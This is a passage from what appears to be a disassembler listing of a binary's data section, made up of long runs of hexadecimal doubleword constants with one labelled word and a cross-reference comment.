		dd 244BF62Eh, 776008E1h, 29FE00BEh, 1BC85B8Bh, 9F82D1Ah
		dd 0C35C88A4h, 0D3868078h, 26025C1Bh, 729E6Fh, 0A72DA915h
		dd 0FB012F8Fh, 93CC1CF3h, 75E09477h, 433F045Ch,	0A980C59Ch
		dd 0D36D127Ch, 0D074F601h, 29D04B45h, 0BE6E0558h, 957CB347h
		dd 0C030DADCh, 776D7497h, 243B00B2h, 8AA92B3Ah,	0CD009266h
		dd 67F76393h, 2DDC78C8h, 0DC257EAFh, 1B808818h,	0F300D5F4h
		dd 1EC3111h, 0B7D053h, 0C4DDF84Dh, 8A430608h, 0BA412901h
		dd 30453948h, 0B2F8A878h, 0B590008Ch, 8153254Eh, 8F29BFD6h
		dd 0B5F980C6h, 4E019418h, 0EA370730h, 9822BEF9h, 93E2F617h
		dd 668093A0h, 5100A67Ah, 0EFAB155Dh, 4B80C3C5h,	9BC40B1Ch
		dd 0E858F4D3h, 2DB09038h, 8256CF9h, 4960A4C2h, 9FE5DD00h
		dd 1EF57A40h
		db 2Dh,	26h
word_505446	dw 0BCA4h		; DATA XREF: ___:off_435DF8o
		dd 4A3E89BCh, 7D10A4F9h, 0BA9D0C9Fh, 0CC12A919h, 0B0099FF7h
		dd 60844D9Eh, 7B7D3C87h, 445FC574h, 935CD090h, 6C10BFD5h
		dd 5926A5E1h, 0BA004642h, 7E29A9F4h, 780A0070h,	8D5B8F04h
		dd 0A8B4331Bh, 0BCED217Ch, 6AA11587h, 2360D7E0h, 9DEE006Dh
		dd 0E9293F5Ah, 4A3C09C1h, 898D38F8h, 89FEBAC9h,	673CC2E8h
		dd 60F04414h, 75388BF9h, 24227E6Ah, 410C86FEh, 1020E2CFh
		dd 0B44E8Dh, 0A1421CEEh, 0C82F77D2h, 4D3A925h, 0E943F780h
		dd 91404839h, 10E177D8h, 9DEBC360h, 3EA474A2h, 80F41825h
		dd 5BC90070h, 8319F6E4h, 410315F9h, 3F14AA82h, 0E9492536h
		dd 0B00180C4h, 0DDE87D22h, 0A3F4B2F0h, 0AD810237h, 1A5D72A4h
		dd 3ED8E061h, 0BF9E041Dh, 10F2C052h, 7730D0F2h,	510D099Eh
		dd 58585989h, 8BFC91Dh,	0E245C280h, 0B680FE5Dh,	3B2B8080h
		dd 51BA7F3Dh, 5B1BE815h, 0E44A7C88h, 0C3328CD0h, 33170094h
		dd 688C0893h, 0B11DE5A0h, 7340D009h, 422AEC7Ah,	80A15082h
		dd 0F70D4425h, 32D05B3Ah, 1AFCD863h, 4656F474h,	0D8ED00D1h
		dd 8CB93201h, 168F16BBh, 0B298E37Ch, 543830B7h,	0D2340609h
		dd 3EC8FAE2h, 43874026h, 0E0B2CD86h, 82986642h,	0FC2E524Bh
		dd 2E01D123h, 47EE38BEh, 0E978206Bh, 561FB3A7h,	45807F0Ah
		dd 0C2652A0Dh, 60675890h, 0FE94E001h, 308A0AE9h, 0CB405E2Ch
		dd 8F9E0AF5h, 6A0906Eh,	51DC85FEh, 0DB3C2B01h, 93389FCFh
		dd 3FCEDC28h, 0F22DFC40h, 471785A2h, 20C255A9h,	50D4F47Bh
		dd 0FD01BBA8h, 62E2A624h, 0E430A3D2h, 3FD500F2h, 6E1045C9h
		dd 58B4B8FEh, 905CC4AFh, 4A88007Dh, 0D9729B73h,	0F31239CFh
		dd 24E3AF62h, 48300EA2h, 91A0450h, 0B83F1C4Eh, 0ABC980D0h
		dd 0B820B072h, 79CA0029h, 8D8E9EC4h, 140B0B8Bh,	91603C3Ah
		dd 39ECD5ACh, 456815C9h, 0B40058EEh, 0A9B18C8Ah, 84768DD9h
		dd 0E1B02E25h, 898112E0h, 6D95DEBBh, 0E8AFC04Eh, 0E858DA4Ch
		dd 0F3038CEDh, 23A06C15h, 0CBB6027Dh, 0A76340D8h, 465E38FEh
		dd 28631EF1h, 2B1DBBC1h, 7AD406D4h, 2DB30B7h, 6F9EF6B9h
		dd 83572900h, 0ECF55D54h, 38643F08h, 0A5F87F75h, 601AE4C8h
		dd 18F5BEF0h, 193BA52Ch, 88B82BC9h, 0C1F6830Bh,	0A048A1BFh
		dd 0E8F0CA42h, 0C8C05A7Fh, 0A00C8C0h, 692109Fh,	10E14FAh
		dd 933CDCA0h, 6053594Dh, 0BA438544h, 0FC30F1E2h, 13B57ADCh
		dd 0D0E46975h, 585E9E70h, 7F631E00h, 77F97D8Fh,	0CA3401C0h
		dd 2DEB4524h, 0A4A9F04Ch, 0C8908A2Ch, 9325CC03h, 7462C0E8h
		dd 0B7BF1203h, 0B89C40DDh, 4348777h, 0ED2FE4B4h, 85CB6018h
		dd 0BE1213ECh, 485226C3h, 54B06800h, 67AE14D2h,	0F08DAE1Fh
		dd 8B80E8D7h, 8820A14Eh, 0F9D081h, 36AF9607h, 92A5E9Ch
		dd 93318E07h, 403152D2h, 0D038E895h, 23542E5Eh,	0C6B800B4h
		dd 4310B9CDh, 2E042DFFh, 4DCA49Eh, 1FCF7275h, 8804CEE8h
		dd 2A23C008h, 9D0BC5F3h, 0D006B6FCh, 4CAA5534h,	0F9D29107h
		dd 0EAB49383h, 4070D144h, 0E8D6F8C5h, 695CCC03h, 0DC48C92Ah
		dd 0FD048CECh, 0FD9F39EAh, 445C2D7Ch, 0B1A91DE4h, 33C883BFh
		dd 818DF62Eh, 2485CC74h, 78B0EC18h, 6182EE70h, 0D518576Ch
		dd 0A059800Bh, 60DC71CCh, 3F80DDBAh, 0C58DFE2Fh, 0AC910074h
		dd 0B2697E3h, 38A0C100h, 0CF7BB57h, 507A0067h, 0CE55FAF4h
		dd 589061D5h, 0A4C2F48h, 2488BB0Bh, 0C8A6EA40h,	6FFA0051h
		dd 538FAF26h, 50007348h, 5944D6D7h, 35AAC205h, 0BCC943E2h
		dd 8CD5BCC0h, 85E9A70Bh, 7FF883D6h, 0CBD100E4h,	0D77C92Bh
		dd 3C5C59A7h, 4C2C2204h, 278F28F0h, 0E0E02167h,	0B0E1A8D2h
		dd 0D1979918h, 0FC84229h, 85D43D37h, 7134840h, 7D0482C7h
		dd 0D5406103h, 9F87D24Fh, 9C4A44BAh, 37B77914h,	0A5A70090h
		dd 59918106h, 49097709h, 5CC85442h, 593EEE46h, 0A0B22A00h
		dd 1F3DC190h, 0C83F1B25h, 5C85B03Ch, 0E5CE4484h, 0FEC96400h
		dd 33001421h, 755E2CCCh, 22297AD2h, 8CFE20E3h, 42EB4C00h
		dd 0E7B0059Ch, 0A4813A83h, 5EE450h, 8F7BFC7h, 0B437EC14h
		dd 0F88AFE2Ch, 0CE2E2B40h, 0EA4A00F1h, 132DF573h, 2500CBE8h
		dd 0C99A373Ch, 4CE0D83Ah, 83003904h, 0C0FE26FBh, 72006B0Bh
		dd 0C83C33FDh, 1DCECC2Bh, 808DD621h, 5E71565Bh,	8B0039B8h
		dd 170479D5h, 0F4190860h, 0D0805F01h, 1087AD44h, 47BBB00h
		dd 6C2E2797h, 0D4F40134h, 0E75E68EDh, 481F3E4Ah, 0F5722B87h
		dd 98183h, 0EEE5F111h, 0D2839725h, 0EC09C3E8h, 90A42CC4h
		dd 0DE3E1820h, 5EACC0E9h, 8E740490h, 0E22F0200h, 0A398C519h
		dd 1C8300ADh, 0C2F77AA4h, 0E9078E4Bh, 58DC8FC4h, 6A3E73E0h
		dd 0BBF8BDh, 0D884E34Fh, 0D61D7BAEh, 78AB0B00h,	496534F0h
		dd 7A070080h, 4815464Dh, 0B10363B2h, 0FB0F5F7Fh, 0F1A3E0h
		dd 740A2528h, 13BAF942h, 814C031Dh, 157693C6h, 46160720h
		dd 80143C0Ch, 3EA161D0h, 6A0F66E8h, 7BD5ADh, 40ED176h
		dd 1340E55h, 59875119h,	0E635401Ah, 7A00CDDCh, 0D5AEF10Fh
		dd 0E0C7080Eh, 4EB60748h, 839C69F0h, 0A9A8A6B0h, 49E2676Fh
		dd 8120740Ch, 9111BEh, 1D72D308h, 462569E3h, 12EA3D00h
		dd 0F561DD8Dh, 5BEC6Ch,	65F908F1h, 0AD5E3129h, 0EE01460h
		dd 3239E3DBh, 16F11583h, 8057049Dh, 2A7FE145h, 9B096BC7h
		dd 8064C644h, 0F209791Ch, 18FB601Eh, 233BB94Ch,	22E5E1F9h
		dd 0B7A10064h, 0AD10E0F3h, 4A6B03F8h, 8A08D711h, 4CC31106h
		dd 0FA506226h, 6D40091h, 0A412C0D9h, 0CB000452h, 28FCF6CEh
		dd 62F45ADh, 13F87665h,	7B186122h, 80A831A8h, 0DB11018Fh
		dd 9078C4F5h, 0C3EB20C2h, 0E361200h, 8B827FEDh,	0EA177868h
		dd 0E93A00E2h, 0B628214Bh, 18C08CD2h, 3DDB7A04h, 49F70A91h
		dd 1E80643Eh, 0C3A10A03h, 0E6288688h, 220559E0h, 0CDF24648h
		dd 4FF72001h, 1183CE82h, 110FF069h, 4329AA90h, 0E7F7B000h
		dd 0F2FC7BF8h, 14940A2Bh, 809C85D3h, 0CCB9E50Eh, 16723CB7h
		dd 1D5D583Ch, 0A40FA43h, 0CF0B361Bh, 96606DDh, 504C607Ah
		dd 0FCEE290Ch, 54A49014h, 3508C27h, 5B903DB8h, 0BAE88F9Fh
		dd 0DC0156B2h, 0E179689Bh, 0DC41C120h, 0A053F47Bh, 0BDEDF83Eh
		dd 487E12h, 9D79A68Dh, 6BFFF437h, 98AC0C00h, 2AAEB147h
		dd 0A7E26Fh, 96BF86DAh,	9418D8A2h, 8798D43Ah, 16F0CC9Fh
		dd 541819CFh, 2B70A9F4h, 0C1208D17h, 0E5F8DBh, 1DD191B5h
		dd 4051B285h, 5507286h,	0EE0F592Ch, 80B38A9Eh, 7A809081h
		dd 0E373019Ah, 34DFE253h, 2039A3A5h, 0FF809298h, 86E41C5h
		dd 0A20EBA14h, 0F8673D0h, 72B980D2h, 0C0579D8Ch, 0EEB41A22h
		dd 6E0007C9h, 2B819CEDh, 0AB865B14h, 45081434h,	1D5880D9h
		dd 5A80972Bh, 0C700A01Fh, 0F2F78826h, 0EE980033h, 6CC65458h
		dd 0F09131ABh, 489548F0h, 0DC09D892h, 5C0030A6h, 35EC87A4h
		dd 1FA8208h, 9D490055h,	0D9F20E8Ah, 292ECC32h, 4B2C1073h
		dd 8C088189h, 84BF3444h, 2248E922h, 2C2289F5h, 0EDAB2233h
		dd 22579F22h, 42E18819h, 14823728h, 4D255DA0h, 96B73C04h
		dd 7729A34Ch, 983EE400h, 0AA8E8D22h, 0A5CA0032h, 35112A7Ah
		dd 0DF01B6ADh, 74A517Fh, 0BAEC1C67h, 9CF100F4h,	0B16A013Dh
		dd 93C97C3h, 94F3803Bh,	0ACE4925Dh, 0E789005Fh,	0CFB4641Dh
		dd 0F403A390h, 0F8FD570Fh, 0EC55D086h, 876A3B81h, 3522C100h
		dd 0BF2EFF39h, 0F40FEF00h, 8A5079A5h, 0A42D0057h, 443CC3B3h
		dd 0FD3E8CA9h, 1D558054h
		dd 0BB0549F9h, 0A31107BCh, 802C4524h, 7BA913BDh, 3693E701h
		dd 8AAED1AAh, 0E862D4h,	92B92CBh, 964A69B5h, 951E2477h
		dd 5E00B11Eh, 3AEA32DDh, 0C77B00FFh, 8218430h, 0B10076F2h
		dd 72E1F973h, 9802A009h, 0EF7080h, 477C2C7Fh, 0A98D6B82h
		dd 4D435C00h, 0B891BA70h, 0E4191809h, 0E32BD8D7h, 0A5A9EA0Fh
		dd 67D56F44h, 7480AEAFh, 947A02h, 188B3AE6h, 0D59D7CE2h
		dd 7E83151Fh, 5581182Ch, 89A8535Bh, 0BE86F0h, 0F8692EB9h
		dd 2BFD718Ch, 56C639h, 0BC1BFADFh, 4C9DE8F7h, 0EE0089A8h
		dd 190432A5h, 3507B1E2h, 2B315230h, 88959474h, 0B3687200h
		dd 64B0B5h, 9875DE0Fh, 0A2B9726h, 0C1A2120Eh, 0C273C785h
		dd 0A5C970A0h, 1E5A02B8h, 785EB58Eh, 31D04C80h,	33DC483h
		dd 0AF940FFAh, 0F2D40030h, 0BA12C9h, 53FF678Eh,	76DA15EEh
		dd 41865200h, 9993C4Bh,	0B4AF007Bh, 341C0BD6h, 0B230A4F4h
		dd 6FE871E7h, 24470075h, 0E3074249h, 0ACA0EB68h, 0AF004FD6h
		dd 78F2B68Ah, 3484C4h, 1CD7DF50h, 4D731A93h, 56814F13h
		dd 3698E00h, 1E5E1DC3h,	7429997h, 2087BC1Ch, 58624130h
		dd 0DA9B1601h, 0FFA0717Dh, 74539040h, 20C800AEh, 875A3896h
		dd 0ED0088C1h, 9CDCB657h, 9ACA63h, 0D8DBF0B3h, 287E2E76h
		dd 0DA780700h, 0E6036BBFh, 0FED0013h, 51E13B3Ch, 86001095h
		dd 3920073Ah, 18626BDEh, 0A25090FDh, 55008F92h,	0DC025128h
		dd 2B74731h, 0ECBA53B4h, 0DFC0F471h, 680F5F7Bh,	207601C6h
		dd 0D113AA3Ch, 47643E60h, 8D7076h, 0F727D8ADh, 0E74B57DEh
		dd 0FB783A00h, 14AB90A9h, 0AE6904D9h, 807A3058h, 37AC4B10h
		dd 968B9800h, 9DFB0539h, 0E1AEE23h, 0D1595D0Eh,	461C0472h
		dd 743E4049h, 8AC1BB1h,	0D9DFB2A1h, 1E382980h, 30DCF2h
		dd 685AFB2Fh, 2C65FA4Ch, 3F952700h, 0CA644A3Eh,	0C3E0C7h
		dd 0CD353214h, 0FF68051Eh, 3E41E426h, 2A907400h, 3B61FF5h
		dd 1EE5B552h, 0E7D0ABCCh, 0E900DAB8h, 0B0695E60h, 1C12E0Eh
		dd 8D4DA6F3h, 0C08EFB42h, 0B1003633h, 700E98B5h, 72575491h
		dd 4BDD2664h, 0C9A60020h, 9D10A50Ah, 0B7033272h, 698AEDFAh
		dd 3BA2B0C5h, 0EA4C71D2h, 35A3005Fh, 0F31334C8h, 4724D175h
		dd 491FCC1Bh, 10929F80h, 1DC7074h, 2E1E204Dh, 0DC88D0DFh
		dd 0B5000E56h, 0EE676B99h, 86F278h, 1D41CB3Dh, 0D0F407CDh
		dd 0AF7F803h, 0E0834E63h, 2AFBE4h, 564F204h, 90521F4Bh
		dd 9DA51C00h, 0B02B41FAh, 0CC79395Bh, 672F3D00h, 0CDE3B757h
		dd 1F84C700h, 2EC81377h, 207E60A2h, 1076F399h, 0A5CDC407h
		dd 0C790BD38h, 1E0BAAB2h, 0C4FE1C46h, 8C9F3AE5h, 2E1F35FCh
		dd 5D9DB3BBh, 8E488498h, 1D1B71EEh, 0C070F03Bh,	580FE6C8h
		dd 0C60398F9h, 64B4A20h, 0AD9DC8B8h, 0B6FF1D66h, 9E5500D3h
		dd 0BEBA776Ah, 0F0381C00h, 8065E6ECh, 68FF61C8h, 0D8708A43h
		dd 7400B45Ah, 8F243E19h, 1C85C47h, 0F51C9803h, 213FE108h
		dd 0C43EDC88h, 7042900h, 2F726DCAh, 0A6AD24D2h,	0E166606Ch
		dd 0A020262h, 0D2BCC330h, 5DE1E196h, 714942F8h,	2FC90064h
		dd 0D0C3294Fh, 79053228h, 13887FD3h, 0D205CE00h, 4D11EBh
		dd 0B223D71Eh, 5BF060D6h, 0D4715702h, 47F2FE47h, 0C207900h
		dd 24F7175h, 0A745A572h, 20C0A032h, 0C72EA2C5h,	387D1Dh
		dd 41D55B2Eh, 7D9598h, 6922BCD6h, 0EB38D216h, 9F6DF60Bh
		dd 71200154h, 0CEC0EEDBh, 0E3AA1FA3h, 329A01A5h, 2035F142h
		dd 207EB4E8h, 70D5A600h, 0D4155758h, 4C6701C8h,	29E76D33h
		dd 0AE3880ACh, 1622FCAFh, 7DBC1DB3h, 0DF18005Ah, 55B9FFFEh
		dd 8A242500h, 0F1236E3h, 84B84C65h, 30AE4E1Fh, 3E1D04C8h
		dd 0D3D92A01h, 0F4A0402Ch, 0FCB542C8h, 57A900B6h, 864FFBBh
		dd 5C03094Ah, 502998FEh, 0DF06A8ACh, 6D1003A7h,	0B8F6B5FDh
		dd 3DA063F8h, 46907B0Bh, 83E0801Ah, 70EDEEF8h, 7C0A0078h
		dd 0CF918707h, 0A626E53Dh, 330E0221h, 1B82E0ACh, 1F94DEh
		dd 0F2069673h, 979CF895h, 4F02D87Bh, 13EF0F08h,	7D6CE8F5h
		dd 3C4A1F7Ah, 0FA14C1B2h, 0C1B49237h, 0C8B6F0B7h, 114CAE78h
		dd 0C71200F0h, 0F3FDCA1Bh, 4732E9Ah, 165E8018h,	56759BCh
		dd 9E133F00h, 0D051DEB5h, 6CED000Dh, 149606Dh, 0A61E945Ch
		dd 524075E0h, 8713373Eh, 860D1220h, 94000FCh, 0D7D25F22h
		dd 1C319809h, 6EC4800Ch, 0F49909Fh, 6FCD1684h, 0AEA72A20h
		dd 0CC00B038h, 580294FCh, 1B5C48Dh, 0CBB7B910h,	0C1C30EA5h
		dd 324034A3h, 457E2300h, 0BD93B108h, 28060061h,	12C62D18h
		dd 0AA00C843h, 1D52DBDCh, 77450F91h, 6C7E48D6h,	7B2FCB01h
		dd 0F130E15Ah, 519C46Dh, 6BCEB407h, 2EA03CB3h, 0F0136h
		dd 4CE95E02h, 3DA7E7A8h, 215A0700h, 4B222BB0h, 1FA170D2h
		dd 80A868C9h, 7F92C3FCh, 892E741Fh, 0FF02A86Ch,	60E6BB1Ah
		dd 406938h, 410C8C23h, 0D3C74D3Fh, 0FBBDBF01h, 7513ED43h
		dd 3F6548D0h, 0A413034Eh, 0A9400126h, 0F08CBE4Ah, 8E0261C3h
		dd 66FB097Ch, 0DA9E072h, 0D5990AEFh, 0B8F86Fh, 8AE73761h
		dd 982D7AE8h, 3AEDE14h,	0D078F726h, 7CB02E93h, 97F682D1h
		dd 9ECAB018h, 98B4995Ah, 0A8CC0063h, 5C232F41h,	0EBF8BB76h
		dd 4AB8F250h, 457D6B05h, 8F00F41Fh, 0BFAC7A7Eh,	184B07CDh
		dd 0E4D64EB6h, 0C168C0D4h, 7E0A0D28h, 0D23876C8h, 43034600h
		dd 0FF69F9h, 72F53521h,	0C1CCA579h, 808ADE39h, 80087C5Fh
		dd 0E18F91h, 536623D2h,	0E2ECCEBFh, 0E4337A00h,	0B44D0EE9h
		dd 39D000D7h, 5FDA87FEh, 2B3CF075h, 0F4BA03F3h,	0C89E3F60h
		dd 3813BCCBh, 2500626Ah, 0BEDE3D26h, 1EA92D4h, 0AFB57E0Bh
		dd 0F8A87898h, 0A70C1D0Eh, 83150223h, 6C5097A0h, 3FFD7F02h
		dd 0E0607B8Ch, 1FEA0368h, 404EB2Bh, 0C0571AB6h,	212E5C13h
		dd 56E6609h, 37A80099h,	30A51BA0h, 12881813h, 9407AF5Eh
		dd 76F0E491h, 0A4B1B355h, 806851EEh, 82B7C05Fh,	45B2A190h
		dd 54153Bh, 0AEC44499h,	916225h, 19BFE979h, 0AD4C598Eh
		dd 9500FF7Ch, 0AB7DC52h, 0F58400Dh, 651DDB3Bh, 7D1971C0h
		dd 6B005457h, 0B7FB594Bh, 0AF7BF4h, 65E8BB9h, 0FFBF2793h
		dd 86CE2D00h, 50A01A31h, 672E3DF2h, 13717582h, 98E3C75Dh
		dd 0F43F68A0h, 8E207D3Dh, 40A0E9C6h, 6B2177DAh,	0FDD70185h
		dd 0F8B3D2EDh, 0A137E0A3h, 6AB3405h, 0A0C73FE8h, 0E9BB49A0h
		dd 2FBF222h, 0A50BF3BAh, 0D4E00635h, 151E7318h,	1D569071h
		dd 9F62001h, 4FC4B47Fh,	76F200AAh, 415737F0h, 39003A34h
		dd 8B12FD82h, 0F9B358FBh, 0D9EECCh, 0EB8C4B5Fh,	8972329Bh
		dd 0A2FEF100h, 2326576Bh, 78F0EC5h, 16A07610h, 2BB9D034h
		dd 3713311Eh, 0FBE630C4h, 3EA9A880h, 77B2027Fh,	0ADFC52F9h
		dd 3F4BADC0h, 6768EC00h, 0B9946DB6h, 87DCBh, 1D2D5258h
		dd 2CBCA1ABh, 0F156200Eh, 846A20DAh, 24A0A3A9h,	2A8242Bh
		dd 4525C312h, 494852C0h, 6265FA02h, 80DB8F35h, 74CCCBB4h
		dd 7B5D000Fh, 0F6A01064h, 15059511h, 4B4CBB1Fh,	0E2819880h
		dd 0B1F205h, 1B020AD8h,	0F9DFC658h, 0CEAFB404h,	40801D87h
		dd 102AE77Eh, 3E00544h,	0DEBD37CDh, 6AD290E9h, 78134860h
		dd 0B4489401h, 0DC837A65h, 9A007778h, 8DA6EA43h, 234C68h
		dd 0DDA5C9CEh, 9DF7BB18h, 65CA5500h, 0B6618251h, 25FC87h
		dd 24DC9E1Ch, 0D40CD1EAh, 0B3F2674h, 0A09C00CEh, 733E4821h
		dd 8ACF0085h, 37F23F89h
		dd 0F0001942h, 7CC1EF27h, 2465AF48h, 1FAC69BEh,	817887D9h
		dd 0F1364C16h, 9380320Bh, 0E0818ECAh, 45B8D5DDh, 9D663FCBh
		dd 38A4672Eh, 5AA9BB80h, 47A31DC3h, 0F6B6ED00h,	32934F1Ch
		dd 0D6160126h, 28A474C0h, 0F0CCCA0h, 272FDB00h,	811D5FDCh
		dd 0E44F0030h, 0B067699Fh, 0F7775CC8h, 4217ECE8h, 46B0E32Ch
		dd 0CF480707h, 0D0A26C05h, 0AAE59B17h, 37110301h, 44E31665h
		dd 1711070h, 17274892h,	0D4DDD974h, 39B02C2Ah, 10D748h
		dd 0C8E9685Bh, 1D7E153Eh, 0C425C717h, 0A0BAD39Ah, 4400C984h
		dd 0F1C5E632h, 39D73A84h, 0CB0971h, 0EF7BEED0h,	0FB01B091h
		dd 7018723Dh, 282448C0h, 60312503h, 4E347480h, 9E00967Dh
		dd 0A5CD5ECCh, 7542AA24h, 0D975252Bh, 3A54B410h, 0C001DC70h
		dd 0BBB9B76Eh, 4C6163CCh, 7C837FCh, 0CB224A74h,	3BB2805Fh
		dd 0A8000977h, 6C949FF4h, 0ED71FBh, 0FB0CE06h, 9A76B901h
		dd 8008879h, 6581BF52h,	118D9Fh, 0BBE01FA0h, 0B7C92EFEh
		dd 62F39B00h, 3373077h,	3EA40091h, 0D31EB819h, 0B9007265h
		dd 0DF02265Eh, 1A1A7E3h, 273DBAA8h, 414B429Ch, 602157B4h
		dd 37094C41h, 802B41F5h, 4B7DD997h, 74725C6Eh, 400C8912h
		dd 4332FD7Ch, 56EA53A6h, 0A8883000h, 755B4FF2h,	92981C8Ch
		dd 1EF50E69h, 4E944A20h, 0AF03C129h, 2188E185h,	28B0F45Ah
		dd 0A7AD1F80h, 0B2692BCh, 790416F4h, 94A677h, 0DA8405F5h
		dd 3C5510Dh, 0E43F1C7Fh, 69808FF3h, 657AFC47h, 0A2F72801h
		dd 5B635642h, 0B5798F40h, 3E47F2Bh, 0D8ACC139h,	0DEE042F1h
		dd 25E62E76h, 1462A500h, 9AD35680h, 6C9C016Fh, 9EE6052Ah
		dd 66FC2030h, 62949901h, 215BB72Ch, 50BCCCh, 9C78354Fh
		dd 0ECBAB0D1h, 0F7528A00h, 63115C12h, 5BA800AEh, 92D0BBB7h
		dd 0DA00BF9Ah, 8FC4E19Ch, 12D8F4h, 0E3472B65h, 2CD6C657h
		dd 0A0A48600h, 0EE8F1F4Fh, 0C71803CBh, 40A9C4D8h, 434A06F8h
		dd 0C3097300h, 0DB245029h, 88B0CBh, 7276ED8Fh, 0C286851Bh
		dd 1D3AAA72h, 2DC99E51h, 0B727CF40h, 72F6229h, 0E2E9749Fh
		dd 0B94E5ECh, 6280928Ah, 4435E188h, 0F58CEB00h,	5FACE22Bh
		dd 5EEDE9D1h, 59005468h, 459E9FB1h, 4A0060EAh, 0CE18ED1Ah
		dd 3AE05697h, 0BF9CEE0Fh, 0CC010088h, 1BD30D6Bh, 0DBEC3D00h
		dd 0CF720804h, 5CB0357h, 0A17B8944h, 0CA40F0FAh, 0C0A017A8h
		dd 0D60F5493h, 60187CEFh, 15BE3BAFh, 0ABC200A9h, 22BAF6FFh
		dd 9A0001D3h, 0EF314D87h, 0E8C70Eh, 0F7D49E57h,	1954770Fh
		dd 341C3000h, 0F980F33Ch, 31FC0033h, 0EAE437CEh, 0F7262B75h
		dd 23604C79h, 80BC1E1Ah, 0E3B969Ah, 0C4878F16h,	0B3FE0024h
		dd 0FC59E1E4h, 0F4DF0053h, 0F2332F57h, 0C9008D0Ch, 55542302h
		dd 0F0596FBFh, 6B0B0BF1h, 0B881D16Ah, 17A9B160h, 84F3E314h
		dd 0C0914B1Dh, 0B567AFB3h, 70BA7346h, 99C55701h, 0F22C82BAh
		dd 0E0EAD442h, 0B20993h, 496CE9Ah, 272A70DFh, 0EC03C700h
		dd 0FAD2545Ah, 617EDEh,	0E8F4E30Ch, 0B5563C9Dh,	1902F2FEh
		dd 4A295FB3h, 26E0DA3Eh, 75CD77Dh, 0B08504AAh, 5A24FAEBh
		dd 7E05E972h, 3E153152h, 405F40C2h, 5C1A1147h, 0B0003004h
		dd 0BB415B45h, 0F7001B9Dh, 576AE034h, 1E2D04CCh, 472CFEBEh
		dd 0E0107948h, 0CAA5BAB8h, 3E3B8500h, 0FAE1AF7Ch, 0C79200CBh
		dd 0A34F55D5h, 7400E734h, 54C62E5Ch, 93038h, 0D612A7EFh
		dd 996CDB02h, 1997FD0Eh, 5803DDF6h, 0F09ACAC4h,	1889E86h
		dd 0F5675CC2h, 4098AA12h, 24659090h, 0A6515900h, 0E01A40E4h
		dd 1D669843h, 40395488h, 23A49342h, 740EBDC3h, 8115FA1Ah
		dd 0C8EE3862h, 0CEC0782Ch, 3635FF84h, 9FE7330Bh, 0E628E0C5h
		dd 0CAEF0018h, 8B2C7C4Ch, 0FB252419h, 27D880E7h, 5B5F3A9Eh
		dd 0CC2C0067h, 138476AAh, 72C26B00h, 3E80FA5Ch,	5DE103A4h
		dd 107BC9F5h, 0D1D00DCBh, 0CA016B43h, 4BD70B03h, 647C69F3h
		dd 30744C2Eh, 55BB0881h, 4FAC7D4Fh, 0A3C45E0Ch,	753C2818h
		dd 0A26F1B4Ah, 312DC11h, 47F7B0AAh, 0D932009h, 18FC503Dh
		dd 604B27DCh, 0AD061904h, 0CD1A6AB6h, 0DC140C69h, 51211C7Bh
		dd 2178AD06h, 55847FEh,	3D9A2863h, 4E4C00D6h, 0C47D69F6h
		dd 0A121D000h, 9B7BDDB5h, 0A4B60CE3h, 9328F2F9h, 0B3400350h
		dd 15199A00h, 0F4CE4B59h, 90970034h, 1F22C6C2h,	0EC1CA675h
		dd 9DDF65E8h, 66361740h, 91CDB7h, 0A9B648E1h, 0B5E2BD05h
		dd 3C821A00h, 94EA633Dh, 985E073Eh, 0C0DBCD0Fh,	2FAF1013h
		dd 0A5010C00h, 0ADD77118h, 65D8CF23h, 0B400785Dh, 5B5260E6h
		dd 7800F9A0h, 0FDE6AD5h, 6040D603h, 2C46B00Bh, 0AA0094FEh
		dd 0BEA16531h, 7B928D7Ch, 7319009Fh, 7B3D29B6h,	2164AB3h
		dd 4F1849F5h, 1F32EEE8h, 4F415E5Dh, 5920D94Eh, 335F70AEh
		dd 0A669C100h, 19CA960Bh, 4863181Dh, 0A0C939F8h, 0E7C3BE00h
		dd 263556F0h, 6C5B00C7h, 9D80EB8Dh, 49004C36h, 0F4BFE312h
		dd 1A5B163h, 396C82F1h,	89334620h, 720EFB49h, 0B3934858h
		dd 8651741Ch, 191B12F8h, 0CC4D2529h, 6CC10039h,	769139D6h
		dd 83281E43h, 0A2EB8115h, 0FC633531h, 73B3AC8h,	8D7E2C9Eh
		dd 28460Bh, 7CE81F18h, 0D0943BB0h, 0B6E26480h, 0AF73AAB8h
		dd 0A0329501h, 0DDDB877Dh, 0D5F4F0h, 0FEB759D6h, 8D536542h
		dd 0BEE004A5h, 0FAF8B10Ch, 64AF38F0h, 0C7DC19E0h, 65024349h
		dd 0DFD8CEC5h, 0B6007F9Fh, 7642BAE3h, 20C033FAh, 30463F53h
		dd 59B16078h, 2A1206Dh,	40B21D03h, 34EA361Ch, 316B08h
		dd 8ED8A29Ah, 47484ABDh, 89CB00F8h, 75CAAD46h, 71D20163h
		dd 0F51E1EAh, 9818BE88h, 0C1609319h, 0DDFC18B7h, 32F3111Fh
		dd 61066A00h, 9C60C8E4h, 30C77474h, 25208CF5h, 0B958690Bh
		dd 1683EFFh, 0B5C45B53h, 0A4D8C678h, 3BD3189Ch,	0E190D94Ch
		dd 50FF390Ch, 6578BBh, 311340CFh, 0B5FAF067h, 1858E560h
		dd 3DF1DC7Dh, 7905EA4Ch, 373A28E8h, 806481Ch, 0F8A786h
		dd 0D8361DCh, 0AF66AD45h, 0AE1B2802h, 0A0D0BD01h, 0B5D218BCh
		dd 0F1F60F16h, 1963346Dh, 0EF80A6DCh, 42F4F965h, 271FEA06h
		dd 168800Bh, 5072CF5h, 30414EBAh, 2D0A8993h, 0E45073ACh
		dd 36B30B00h, 0B1B675h,	16EC98DBh, 0FF8B92A6h, 0C215605h
		dd 0CE80A020h, 31571832h, 3588F3Bh, 1D2ED86Dh, 0CBAF200h
		dd 0E367ABBCh, 7200C34h, 0D5080216h, 2F3ACF0Eh,	80D89FD6h
		dd 27E350h, 0C753BB06h,	18285A1Fh, 6741AA07h, 25A04281h
		dd 543ED598h, 0C5D46Ah,	3D4AA336h, 3BF1271Dh, 0E5AD480Fh
		dd 2053E04Eh, 9B095B8h,	0A6B52364h, 0CE25C20h, 4C632FDFh
		dd 2AC3B120h, 0A4E009h,	92DF3482h, 1C5E1E46h, 668BBD06h
		dd 0D14D3Bh, 41F6A373h,	0D3623ED6h, 6C9BFB24h, 44F262h
		dd 6A7E3DE2h, 48C69324h, 64B15D02h, 3449028h, 4C3208DFh
		dd 516FBCB8h, 800BE71Dh, 7EEC8974h, 77004481h, 5D114A66h
		dd 50171B76h, 108E01Fh,	745CA71Ah, 24B09E71h, 1B002FA4h
